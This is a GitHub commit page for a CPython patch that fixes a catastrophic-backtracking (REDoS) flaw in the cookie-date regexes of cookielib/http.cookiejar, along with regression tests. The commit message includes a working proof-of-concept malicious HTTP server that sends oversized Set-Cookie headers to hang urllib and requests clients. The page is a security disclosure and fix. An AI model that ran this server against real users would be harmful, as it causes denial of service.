Skip to content

Commit e649903

Browse files
authored
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bf)
1 parent 9f94e52 commit e649903

File tree

4 files changed

+29
-8
lines changed

4 files changed

+29
-8
lines changed

Lib/cookielib.py

Lines changed: 13 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -205,10 +205,14 @@ def _str2time(day, mon, yr, hr, min, sec, tz):
205205
(?::(\d\d))? # optional seconds
206206
)? # optional clock
207207
\s*
208-
([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
208+
(?:
209+
([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone
210+
\s*
211+
)?
212+
(?:
213+
\(\w+\) # ASCII representation of timezone in parens.
209214
\s*
210-
(?:\(\w+\))? # ASCII representation of timezone in parens.
211-
\s*$""", re.X)
215+
)?$""", re.X)
212216
def http2time(text):
213217
"""Returns time in seconds since epoch of time represented by a string.
214218
@@ -266,7 +270,7 @@ def http2time(text):
266270
return _str2time(day, mon, yr, hr, min, sec, tz)
267271

268272
ISO_DATE_RE = re.compile(
269-
"""^
273+
r"""^
270274
(\d{4}) # year
271275
[-\/]?
272276
(\d\d?) # numerical month
@@ -278,9 +282,11 @@ def http2time(text):
278282
(?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional)
279283
)? # optional clock
280284
\s*
281-
([-+]?\d\d?:?(:?\d\d)?
282-
|Z|z)? # timezone (Z is "zero meridian", i.e. GMT)
283-
\s*$""", re.X)
285+
(?:
286+
([-+]?\d\d?:?(:?\d\d)?
287+
|Z|z) # timezone (Z is "zero meridian", i.e. GMT)
288+
\s*
289+
)?$""", re.X)
284290
def iso2time(text):
285291
"""
286292
As for http2time, but parses the ISO 8601 formats:

Lib/test/test_cookielib.py

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import re
77
import time
88

9-
from cookielib import http2time, time2isoz, time2netscape
9+
from cookielib import http2time, time2isoz, iso2time, time2netscape
1010
from unittest import TestCase
1111

1212
from test import test_support
@@ -117,6 +117,19 @@ def test_http2time_garbage(self):
117117
"http2time(test) %s" % (test, http2time(test))
118118
)
119119

120+
def test_http2time_redos_regression_actually_completes(self):
121+
# LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS).
122+
# If we regress to cubic complexity, this test will take a very long time to succeed.
123+
# If fixed, it should complete within a fraction of a second.
124+
http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5))
125+
http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5))
126+
127+
def test_iso2time_performance_regression(self):
128+
# If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed.
129+
# If fixed, it should complete within a fraction of a second.
130+
iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6))
131+
iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6))
132+
120133

121134
class HeaderTests(TestCase):
122135

Misc/ACKS

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -210,6 +210,7 @@ Ralph Butler
210210
Zach Byrne
211211
Nicolas Cadou
212212
Jp Calderone
213+
Ben Caller
213214
Arnaud Calmettes
214215
Daniel Calvelo
215216
Tony Campbell
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy